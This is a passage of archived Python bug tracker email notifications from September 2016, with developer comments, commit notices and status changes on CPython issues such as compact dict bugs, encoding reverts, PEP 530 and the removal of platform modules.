<http://bugs.python.org/issue27999>
_______________________________________

From report at bugs.python.org  Fri Sep  9 10:47:14 2016
From: report at bugs.python.org (Xavier de Gaye)
Date: Fri, 09 Sep 2016 14:47:14 +0000
Subject: [issue26971] python v3.5.1: sys.paths not respecting DESTDIRS and
 DESTSHARED
In-Reply-To: <1462628482.0.0.926875224828.issue26971@psf.upfronthosting.co.za>
Message-ID: <1473432434.91.0.506807631631.issue26971@psf.upfronthosting.co.za>


Xavier de Gaye added the comment:

The problem is that Makefile and Modules/getpath.c are not consistent:
* Makefile uses $(LIBDIR)/python$(VERSION)/lib-dynload as the location of the installed shared libraries and in this issue, it happens that LIBDIR is not ${exec_prefix}/lib but is ${exec_prefix}/lib64 instead.
* Py_GetPath() in Modules/getpath.c uses the concatenation of EXEC_PREFIX with "lib/python", VERSION and "lib-dynload" to construct the corresponding sys.path entry when falling back to using the EXEC_PREFIX preprocessor variable.

Another problem may be that with this issue, Py_GetPath() constructs the string "/some/path/to/install/lib/lib-dynload" missing entirely the python$(VERSION) component part (as shown by sys.path in the interpreter).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26971>
_______________________________________

From report at bugs.python.org  Fri Sep  9 10:57:13 2016
From: report at bugs.python.org (Matthias Bussonnier)
Date: Fri, 09 Sep 2016 14:57:13 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <1473407848.54.0.959550177057.issue28040@psf.upfronthosting.co.za>
Message-ID: <1473433033.91.0.417778519161.issue28040@psf.upfronthosting.co.za>


Matthias Bussonnier added the comment:

> I'm sorry, and thanks to finding it.

No worries, that's what nightly are for right ? And I only dug up a failing tests :-) Thanks to you for writing this !

> [snip]
> This is difficult for key-sharing dict (aka. split table).

I'm not going to pretend I understand the details, though I applied the latest patch: 
fix-compact-dict-deletion.patch	methane, 2016-09-09 04:11

And it does fix this issue for me (at least on my local machine)

Looking at the code the only thing I see is that you seem to return NULL in Pop and -1 in Clear. Not sure if this what you meant, I'm un familar with all this; but thanks a lot again for the your work and the quick response.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Fri Sep  9 11:21:18 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Fri, 09 Sep 2016 15:21:18 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <1473407848.54.0.959550177057.issue28040@psf.upfronthosting.co.za>
Message-ID: <1473434478.2.0.524550963269.issue28040@psf.upfronthosting.co.za>


Changes by Xiang Zhang <angwerzx at 126.com>:


Removed file: http://bugs.python.org/file44493/issue28040.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Fri Sep  9 11:21:48 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Fri, 09 Sep 2016 15:21:48 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <1473407848.54.0.959550177057.issue28040@psf.upfronthosting.co.za>
Message-ID: <1473434508.29.0.422147045978.issue28040@psf.upfronthosting.co.za>


Changes by Xiang Zhang <angwerzx at 126.com>:


----------
Removed message: http://bugs.python.org/msg275292

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Fri Sep  9 11:54:05 2016
From: report at bugs.python.org (SilentGhost)
Date: Fri, 09 Sep 2016 15:54:05 +0000
Subject: [issue28044] Make the sidebar in the documentation follow the section
 automatically
In-Reply-To: <1473423727.81.0.401970346659.issue28044@psf.upfronthosting.co.za>
Message-ID: <1473436445.57.0.975254509992.issue28044@psf.upfronthosting.co.za>


SilentGhost added the comment:

I get the following warning in Firefox's Developer console: 

This site appears to use a scroll-linked positioning effect. This may not work well with asynchronous panning; see https://developer.mozilla.org/docs/Mozilla/Performance/ScrollLinkedEffects for further details and to join the discussion on related tools and features!

It would also be good to clear up a patch a little bit: the first chunk in sidebar.js seems spurious, the '.headerlink .headerlink' selector also looks odd. The nested menu items (e.g. in os.html) seem to confuse your code and make navigation non-functional.

----------
nosy: +SilentGhost
stage:  -> needs patch
versions: +Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28044>
_______________________________________

From report at bugs.python.org  Fri Sep  9 11:54:58 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 09 Sep 2016 15:54:58 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <1473407848.54.0.959550177057.issue28040@psf.upfronthosting.co.za>
Message-ID: <1473436498.16.0.468406644541.issue28040@psf.upfronthosting.co.za>


STINNER Victor added the comment:

I would really appreciate if someone can write an unit test.

I'm not confident to fix a bug without unit test, on such tricky part of Python internals (splitted/combined dict).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Fri Sep  9 11:57:13 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 15:57:13 +0000
Subject: [issue27959] Add 'oem' encoding
In-Reply-To: <1473118900.37.0.989458487579.issue27959@psf.upfronthosting.co.za>
Message-ID: <20160909155708.19592.67140.578C0C4A@psf.io>


Roundup Robot added the comment:

New changeset 4e80a157ea66 by Steve Dower in branch 'default':
Revert #27959: ImportError within an encoding module should also skip the encoding
https://hg.python.org/cpython/rev/4e80a157ea66

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27959>
_______________________________________

From report at bugs.python.org  Fri Sep  9 11:58:00 2016
From: report at bugs.python.org (Steve Dower)
Date: Fri, 09 Sep 2016 15:58:00 +0000
Subject: [issue27959] Add 'oem' encoding
In-Reply-To: <1473118900.37.0.989458487579.issue27959@psf.upfronthosting.co.za>
Message-ID: <1473436680.29.0.677161190498.issue27959@psf.upfronthosting.co.za>


Steve Dower added the comment:

Last commit was supposed to be for issue28005

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27959>
_______________________________________

From report at bugs.python.org  Fri Sep  9 11:59:19 2016
From: report at bugs.python.org (Steve Dower)
Date: Fri, 09 Sep 2016 15:59:19 +0000
Subject: [issue28005] Broken encoding modules are silently skipped.
In-Reply-To: <1473272228.69.0.973027040329.issue28005@psf.upfronthosting.co.za>
Message-ID: <1473436759.69.0.246007417688.issue28005@psf.upfronthosting.co.za>


Steve Dower added the comment:

I reverted the change but wrote the wrong issue number. Also added a comment so the next person to encounter this realises it is the correct behaviour.

New changeset 4e80a157ea66 by Steve Dower in branch 'default':
Revert #27959: ImportError within an encoding module should also skip the encoding
https://hg.python.org/cpython/rev/4e80a157ea66

----------
resolution:  -> not a bug
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28005>
_______________________________________

From report at bugs.python.org  Fri Sep  9 12:03:28 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 16:03:28 +0000
Subject: [issue27781] Change sys.getfilesystemencoding() on Windows to UTF-8
In-Reply-To: <1471405781.01.0.933321108026.issue27781@psf.upfronthosting.co.za>
Message-ID: <20160909160324.8602.26178.E6F54E76@psf.io>


Roundup Robot added the comment:

New changeset 801634d3c105 by Steve Dower in branch 'default':
Issue #27781: Fixes uninitialized fd when !MS_WINDOWS and !HAVE_OPENAT
https://hg.python.org/cpython/rev/801634d3c105

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27781>
_______________________________________

From report at bugs.python.org  Fri Sep  9 12:05:27 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Fri, 09 Sep 2016 16:05:27 +0000
Subject: [issue28008] PEP 530, asynchronous comprehensions implementation
In-Reply-To: <1473282927.07.0.607709497983.issue28008@psf.upfronthosting.co.za>
Message-ID: <1473437127.5.0.387849875769.issue28008@psf.upfronthosting.co.za>


Changes by Yury Selivanov <yselivanov at gmail.com>:


Added file: http://bugs.python.org/file44504/asyncomp.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28008>
_______________________________________

From report at bugs.python.org  Fri Sep  9 12:06:51 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 16:06:51 +0000
Subject: [issue28038] Remove com2ann script (will be in separate repo)
In-Reply-To: <1473404793.77.0.890016027099.issue28038@psf.upfronthosting.co.za>
Message-ID: <20160909160645.36352.17481.034D245F@psf.io>


Roundup Robot added the comment:

New changeset 35447332ab19 by Guido van Rossum in branch 'default':
Issue #28038: Remove Tools/parser/com2ann.py and its unit test.
https://hg.python.org/cpython/rev/35447332ab19

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28038>
_______________________________________

From report at bugs.python.org  Fri Sep  9 12:07:43 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Fri, 09 Sep 2016 16:07:43 +0000
Subject: [issue28038] Remove com2ann script (will be in separate repo)
In-Reply-To: <1473404793.77.0.890016027099.issue28038@psf.upfronthosting.co.za>
Message-ID: <1473437263.19.0.938395705024.issue28038@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

I just deleted it, lest people try to report bugs here or make changes.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28038>
_______________________________________

From report at bugs.python.org  Fri Sep  9 12:11:23 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Fri, 09 Sep 2016 16:11:23 +0000
Subject: [issue28038] Remove com2ann script (will be in separate repo)
In-Reply-To: <1473437263.19.0.938395705024.issue28038@psf.upfronthosting.co.za>
Message-ID: <CAP7+vJLDwR0AyfGgjEyhMwWsytc4tk=_MmH_bDO2Rk0J7050sQ@mail.gmail.com>


Guido van Rossum added the comment:

(The reason for the removal is that development of this tool is moving
to https://github.com/ilevkivskyi/com2ann -- it was committed briefly
as part of the PEP 526 patch.)

On Fri, Sep 9, 2016 at 9:07 AM, Guido van Rossum <report at bugs.python.org> wrote:
>
> Guido van Rossum added the comment:
>
> I just deleted it, lest people try to report bugs here or make changes.
>
> ----------
> resolution:  -> fixed
> status: open -> closed
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <http://bugs.python.org/issue28038>
> _______________________________________

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28038>
_______________________________________

From report at bugs.python.org  Fri Sep  9 12:16:17 2016
From: report at bugs.python.org (Eric Snow)
Date: Fri, 09 Sep 2016 16:16:17 +0000
Subject: [issue22257] PEP 432: Redesign the interpreter startup sequence
In-Reply-To: <1408789351.84.0.0171822343712.issue22257@psf.upfronthosting.co.za>
Message-ID: <1473437777.4.0.566906980448.issue22257@psf.upfronthosting.co.za>


Eric Snow added the comment:

It may be worth refactoring the patch relative to the new C99 support.

----------
nosy: +eric.snow

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22257>
_______________________________________

From report at bugs.python.org  Fri Sep  9 12:20:19 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Fri, 09 Sep 2016 16:20:19 +0000
Subject: [issue27781] Change sys.getfilesystemencoding() on Windows to UTF-8
In-Reply-To: <1471405781.01.0.933321108026.issue27781@psf.upfronthosting.co.za>
Message-ID: <1473438019.67.0.865371769256.issue27781@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

That seems to have done the trick. Thanks!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27781>
_______________________________________

From report at bugs.python.org  Fri Sep  9 12:25:59 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Fri, 09 Sep 2016 16:25:59 +0000
Subject: [issue27999] Make "global after use" a SyntaxError
In-Reply-To: <1473257318.94.0.500780981255.issue27999@psf.upfronthosting.co.za>
Message-ID: <1473438359.21.0.519351505476.issue27999@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

I'll commit this.

----------
assignee: docs at python -> gvanrossum

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27999>
_______________________________________

From report at bugs.python.org  Fri Sep  9 12:33:15 2016
From: report at bugs.python.org (Ned Deily)
Date: Fri, 09 Sep 2016 16:33:15 +0000
Subject: [issue28039] x86 Tiger buildbot needs __future__ with_statement
In-Reply-To: <1473407641.18.0.0923940651973.issue28039@psf.upfronthosting.co.za>
Message-ID: <1473438795.73.0.223239894864.issue28039@psf.upfronthosting.co.za>


Ned Deily added the comment:

We could also ask David, the buildbot owner, if he could update the Python used for hg.  I'm pretty sure it's not the system Python since that's too old.

----------
nosy: +db3l, ned.deily

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28039>
_______________________________________

From report at bugs.python.org  Fri Sep  9 12:41:42 2016
From: report at bugs.python.org (Zachary Ware)
Date: Fri, 09 Sep 2016 16:41:42 +0000
Subject: [issue12619] Automatically regenerate platform-specific modules
In-Reply-To: <1311414212.95.0.467545301683.issue12619@psf.upfronthosting.co.za>
Message-ID: <1473439302.15.0.580328495563.issue12619@psf.upfronthosting.co.za>


Zachary Ware added the comment:

The platform-specific modules have been removed.

----------
nosy: +zach.ware
resolution:  -> out of date
stage:  -> resolved
status: open -> closed
superseder:  -> Remove Lib/plat-*/* files

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue12619>
_______________________________________

From report at bugs.python.org  Fri Sep  9 12:41:58 2016
From: report at bugs.python.org (Zachary Ware)
Date: Fri, 09 Sep 2016 16:41:58 +0000
Subject: [issue1565071] update Lib/plat-linux2/IN.py
Message-ID: <1473439318.34.0.35815188.issue1565071@psf.upfronthosting.co.za>


Zachary Ware added the comment:

This file was moved long ago and has now been completely removed.

----------
nosy: +zach.ware
resolution:  -> out of date
stage: needs patch -> resolved
status: open -> closed
superseder:  -> Remove Lib/plat-*/* files

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue1565071>
_______________________________________

From report at bugs.python.org  Fri Sep  9 12:42:00 2016
From: report at bugs.python.org (Ethan Furman)
Date: Fri, 09 Sep 2016 16:42:00 +0000
Subject: [issue24254] Make class definition namespace ordered by default
In-Reply-To: <1432186488.39.0.20621749373.issue24254@psf.upfronthosting.co.za>
Message-ID: <1473439320.97.0.0188060248388.issue24254@psf.upfronthosting.co.za>


Ethan Furman added the comment:

Is this going to be added back?  Should I add __definition_order__ to Enum?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24254>
_______________________________________

From report at bugs.python.org  Fri Sep  9 12:42:53 2016
From: report at bugs.python.org (Steve Dower)
Date: Fri, 09 Sep 2016 16:42:53 +0000
Subject: [issue1602] windows console doesn't print or input Unicode
In-Reply-To: <1197453390.87.0.813702844893.issue1602@psf.upfronthosting.co.za>
Message-ID: <1473439373.61.0.735186198446.issue1602@psf.upfronthosting.co.za>


Changes by Steve Dower <steve.dower at python.org>:


----------
dependencies:  -Python interactive console doesn't use sys.stdin for input
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue1602>
_______________________________________

From report at bugs.python.org  Fri Sep  9 12:43:02 2016
From: report at bugs.python.org (R. David Murray)
Date: Fri, 09 Sep 2016 16:43:02 +0000
Subject: [issue25257] In subject line email library inserts unwanted space
 after a thousands comma in a number
In-Reply-To: <1443464392.64.0.380133301442.issue25257@psf.upfronthosting.co.za>
Message-ID: <1473439382.64.0.723045580684.issue25257@psf.upfronthosting.co.za>


R. David Murray added the comment:

No, that is python3 code, it doesn't work on python2.  There's no workaround other than to back port the fix.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25257>
_______________________________________

From report at bugs.python.org  Fri Sep  9 12:46:51 2016
From: report at bugs.python.org (Zachary Ware)
Date: Fri, 09 Sep 2016 16:46:51 +0000
Subject: [issue3990] The Linux2 platform definition is incorrect for alpha,
 hppa, mips, sparc
In-Reply-To: <1222622636.83.0.91904211749.issue3990@psf.upfronthosting.co.za>
Message-ID: <1473439611.94.0.508912281449.issue3990@psf.upfronthosting.co.za>


Zachary Ware added the comment:

The platform-specific modules have been removed.

----------
nosy: +zach.ware
resolution:  -> out of date
stage: needs patch -> resolved
status: open -> closed
superseder:  -> Remove Lib/plat-*/* files

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue3990>
_______________________________________

From report at bugs.python.org  Fri Sep  9 12:47:25 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 16:47:25 +0000
Subject: [issue26513] platform.win32_ver() broken in 2.7.11
In-Reply-To: <1457473293.66.0.928061603359.issue26513@psf.upfronthosting.co.za>
Message-ID: <20160909164721.8471.66277.6D9F610A@psf.io>


Roundup Robot added the comment:

New changeset aeb39d4475c5 by Steve Dower in branch '3.5':
Issue #26513: Fixes platform module detection of Windows Server
https://hg.python.org/cpython/rev/aeb39d4475c5

New changeset 67c50dd3fcea by Steve Dower in branch 'default':
Issue #26513: Fixes platform module detection of Windows Server
https://hg.python.org/cpython/rev/67c50dd3fcea

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26513>
_______________________________________

From report at bugs.python.org  Fri Sep  9 12:47:58 2016
From: report at bugs.python.org (Steve Dower)
Date: Fri, 09 Sep 2016 16:47:58 +0000
Subject: [issue26513] platform.win32_ver() broken in 2.7.11
In-Reply-To: <1457473293.66.0.928061603359.issue26513@psf.upfronthosting.co.za>
Message-ID: <1473439678.71.0.97842861966.issue26513@psf.upfronthosting.co.za>


Steve Dower added the comment:

We now use 'product_type' on 3.5+ and 'product' on 2.7, so we should be good.

----------
resolution:  -> fixed
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26513>
_______________________________________

From report at bugs.python.org  Fri Sep  9 12:48:07 2016
From: report at bugs.python.org (Zachary Ware)
Date: Fri, 09 Sep 2016 16:48:07 +0000
Subject: [issue19554] Enable all freebsd* host platforms
In-Reply-To: <1384172989.4.0.879301350688.issue19554@psf.upfronthosting.co.za>
Message-ID: <1473439687.08.0.673266521788.issue19554@psf.upfronthosting.co.za>


Zachary Ware added the comment:

The platform-specific modules have been removed.

----------
nosy: +zach.ware
resolution:  -> out of date
stage:  -> resolved
status: open -> closed
superseder:  -> Remove Lib/plat-*/* files

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue19554>
_______________________________________

From report at bugs.python.org  Fri Sep  9 12:51:06 2016
From: report at bugs.python.org (Ned Deily)
Date: Fri, 09 Sep 2016 16:51:06 +0000
Subject: [issue24646] Python accepts SSL certificate that should be rejected
 on OSX
In-Reply-To: <1437073473.95.0.43689019383.issue24646@psf.upfronthosting.co.za>
Message-ID: <1473439866.04.0.0522453964533.issue24646@psf.upfronthosting.co.za>


Ned Deily added the comment:

We will no longer use the OS X system OpenSSL for 3.6.

----------
resolution: not a bug -> third party
stage:  -> resolved
status: pending -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24646>
_______________________________________

From report at bugs.python.org  Fri Sep  9 12:53:19 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 16:53:19 +0000
Subject: [issue27999] Make "global after use" a SyntaxError
In-Reply-To: <1473257318.94.0.500780981255.issue27999@psf.upfronthosting.co.za>
Message-ID: <20160909165315.59448.29597.BC12D453@psf.io>


Roundup Robot added the comment:

New changeset 804b71d43c85 by Guido van Rossum in branch 'default':
Issue #27999: Make "global after use" a SyntaxError, and ditto for nonlocal.
https://hg.python.org/cpython/rev/804b71d43c85

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27999>
_______________________________________

From report at bugs.python.org  Fri Sep  9 12:53:46 2016
From: report at bugs.python.org (R. David Murray)
Date: Fri, 09 Sep 2016 16:53:46 +0000
Subject: [issue28044] Make the sidebar in the documentation follow the section
 automatically
In-Reply-To: <1473423727.81.0.401970346659.issue28044@psf.upfronthosting.co.za>
Message-ID: <1473440026.02.0.132593265216.issue28044@psf.upfronthosting.co.za>


R. David Murray added the comment:

-1.  I don't like sites that do this, and don't want ours to be one of them.

----------
nosy: +r.david.murray

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28044>
_______________________________________

From report at bugs.python.org  Fri Sep  9 12:53:54 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Fri, 09 Sep 2016 16:53:54 +0000
Subject: [issue27999] Make "global after use" a SyntaxError
In-Reply-To: <1473257318.94.0.500780981255.issue27999@psf.upfronthosting.co.za>
Message-ID: <1473440034.9.0.306834990602.issue27999@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

Thanks again Ivan!

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27999>
_______________________________________

From report at bugs.python.org  Fri Sep  9 12:54:02 2016
From: report at bugs.python.org (Brett Cannon)
Date: Fri, 09 Sep 2016 16:54:02 +0000
Subject: [issue24254] Make class definition namespace ordered by default
In-Reply-To: <1432186488.39.0.20621749373.issue24254@psf.upfronthosting.co.za>
Message-ID: <1473440042.52.0.715572393748.issue24254@psf.upfronthosting.co.za>


Brett Cannon added the comment:

Nope, PEP 520 has been updated to drop __definition_order__ and instead state that cls.__dict__ is an ordered mapping.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24254>
_______________________________________

From report at bugs.python.org  Fri Sep  9 12:56:23 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 09 Sep 2016 16:56:23 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1473413990.23.0.962346219488.issue27213@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwbQC+9-Rc+d95th7sQDGxwUWkcqSXNN0Cbu_nRQpW=tgg@mail.gmail.com>


STINNER Victor added the comment:

> I'm going to push the patch today.

I'm going to push the patch in ~10 min since I don't see it pushed yet.

> But changes to test_extcall look as a regression to me.

I agree that it looks like a regression, but it might be tricky to
retrieve the function name from the stack. I'm not even sure that the
function name is always already on the stack.

Again, I have to rush before of the feature freeze, but I hope that we
will find a smart solution for this error message.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________

From report at bugs.python.org  Fri Sep  9 12:57:45 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Fri, 09 Sep 2016 16:57:45 +0000
Subject: [issue27945] Various segfaults with dict
In-Reply-To: <1472852008.61.0.354257945943.issue27945@psf.upfronthosting.co.za>
Message-ID: <1473440265.04.0.437318224393.issue27945@psf.upfronthosting.co.za>


Emanuel Barry added the comment:

Ping. The built-in dict was considerably changed in #27350; do any of these issues still persist?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27945>
_______________________________________

From report at bugs.python.org  Fri Sep  9 13:00:02 2016
From: report at bugs.python.org (R. David Murray)
Date: Fri, 09 Sep 2016 17:00:02 +0000
Subject: [issue28044] Make the sidebar in the documentation follow the section
 automatically
In-Reply-To: <1473423727.81.0.401970346659.issue28044@psf.upfronthosting.co.za>
Message-ID: <1473440402.9.0.125757911681.issue28044@psf.upfronthosting.co.za>


R. David Murray added the comment:

But thanks for the interest and writing the patch.  Others may disagree with me and it may go in anyway :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28044>
_______________________________________

From report at bugs.python.org  Fri Sep  9 13:11:58 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 09 Sep 2016 17:11:58 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1465026334.02.0.369802561902.issue27213@psf.upfronthosting.co.za>
Message-ID: <1473441118.46.0.0517378234111.issue27213@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Please wait. I just have sat down at my computer.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________

From report at bugs.python.org  Fri Sep  9 13:13:59 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 09 Sep 2016 17:13:59 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1465026334.02.0.369802561902.issue27213@psf.upfronthosting.co.za>
Message-ID: <1473441239.64.0.184136173147.issue27213@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> Please wait. I just have sat down at my computer.

Oh, you are here :-) Go ahead!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________

From report at bugs.python.org  Fri Sep  9 13:19:26 2016
From: report at bugs.python.org (wim glenn)
Date: Fri, 09 Sep 2016 17:19:26 +0000
Subject: [issue28045] minor inaccuracy in range_contains_long
Message-ID: <1473441566.35.0.794224681084.issue28045@psf.upfronthosting.co.za>


New submission from wim glenn:

The [commented] code summarising this algorithm is incorrect because % has precedence over -  

Hey, no big deal it's just a comment after all, but may as well fix it up.

----------
assignee: docs at python
components: Documentation, Interpreter Core
files: mywork.patch
keywords: patch
messages: 275353
nosy: docs at python, wim.glenn
priority: normal
severity: normal
status: open
title: minor inaccuracy in range_contains_long
type: enhancement
versions: Python 2.7, Python 3.3, Python 3.4, Python 3.5, Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44505/mywork.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28045>
_______________________________________

From report at bugs.python.org  Fri Sep  9 13:23:29 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 17:23:29 +0000
Subject: [issue28017] bluetooth.h on big endian needs GNU C extensions
In-Reply-To: <1473327094.5.0.11690995505.issue28017@psf.upfronthosting.co.za>
Message-ID: <20160909172324.87325.96805.0C932D28@psf.io>


Roundup Robot added the comment:

New changeset 91017e2202ae by Benjamin Peterson in branch 'default':
compile with -std=c99 instead of -std=gnu99; use kiddie-gloves with bluetooth/bluetooh.h (#28017)
https://hg.python.org/cpython/rev/91017e2202ae

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28017>
_______________________________________

From report at bugs.python.org  Fri Sep  9 13:26:42 2016
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Henriot?=)
Date: Fri, 09 Sep 2016 17:26:42 +0000
Subject: [issue28029] Replace and empty strings
In-Reply-To: <1473366641.62.0.989746465638.issue28029@psf.upfronthosting.co.za>
Message-ID: <1473442002.13.0.0484750475011.issue28029@psf.upfronthosting.co.za>


Changes by St?phane Henriot <shloub at gmail.com>:


----------
nosy: +georg.brandl

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28029>
_______________________________________

From report at bugs.python.org  Fri Sep  9 13:28:39 2016
From: report at bugs.python.org (R. David Murray)
Date: Fri, 09 Sep 2016 17:28:39 +0000
Subject: [issue25573] FrameSummary repr() does not support previously working
 uses of repr in traceback module
In-Reply-To: <1446845666.11.0.0803768990935.issue25573@psf.upfronthosting.co.za>
Message-ID: <1473442119.62.0.708039072494.issue25573@psf.upfronthosting.co.za>


R. David Murray added the comment:

Is there a reason the fourth element of the tuple is not included in the FrameSummary repr?  Otherwise I agree that this could be closed.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25573>
_______________________________________

From report at bugs.python.org  Fri Sep  9 13:32:40 2016
From: report at bugs.python.org (Benjamin Peterson)
Date: Fri, 09 Sep 2016 17:32:40 +0000
Subject: [issue27350] Compact and ordered dict
In-Reply-To: <1466307796.29.0.980579044792.issue27350@psf.upfronthosting.co.za>
Message-ID: <1473442360.14.0.170617660258.issue27350@psf.upfronthosting.co.za>


Changes by Benjamin Peterson <benjamin at python.org>:


----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27350>
_______________________________________

From report at bugs.python.org  Fri Sep  9 13:35:14 2016
From: report at bugs.python.org (R. David Murray)
Date: Fri, 09 Sep 2016 17:35:14 +0000
Subject: [issue26502] traceback.extract_tb breaks compatibility by returning
 FrameSummary
In-Reply-To: <1457349348.27.0.253072992901.issue26502@psf.upfronthosting.co.za>
Message-ID: <1473442514.77.0.867868827622.issue26502@psf.upfronthosting.co.za>


R. David Murray added the comment:

I disagree that this is a duplicate.  The question here is, should we add __len__?  Since a FrameSummary object can be "cast into a tuple" and has a known len, I would say the answer is definitely yes.

----------
nosy: +r.david.murray
resolution: duplicate -> 
stage: resolved -> needs patch
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26502>
_______________________________________

From report at bugs.python.org  Fri Sep  9 13:35:29 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 09 Sep 2016 17:35:29 +0000
Subject: [issue27350] Compact and ordered dict
In-Reply-To: <1466307796.29.0.980579044792.issue27350@psf.upfronthosting.co.za>
Message-ID: <1473442529.29.0.13305609725.issue27350@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> benjamin.peterson	set	status: open -> closed

Please keep it open for the remaining issue:

"TODO: The compact dict is not documented in What's New in Python 3.6. It would be nice to run some benchmarks and compare the memory usage to give some exciting numbers."

----------
resolution: fixed -> 
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27350>
_______________________________________

From report at bugs.python.org  Fri Sep  9 13:36:13 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 17:36:13 +0000
Subject: [issue28008] PEP 530, asynchronous comprehensions implementation
In-Reply-To: <1473282927.07.0.607709497983.issue28008@psf.upfronthosting.co.za>
Message-ID: <20160909173609.20970.83858.8E724153@psf.io>


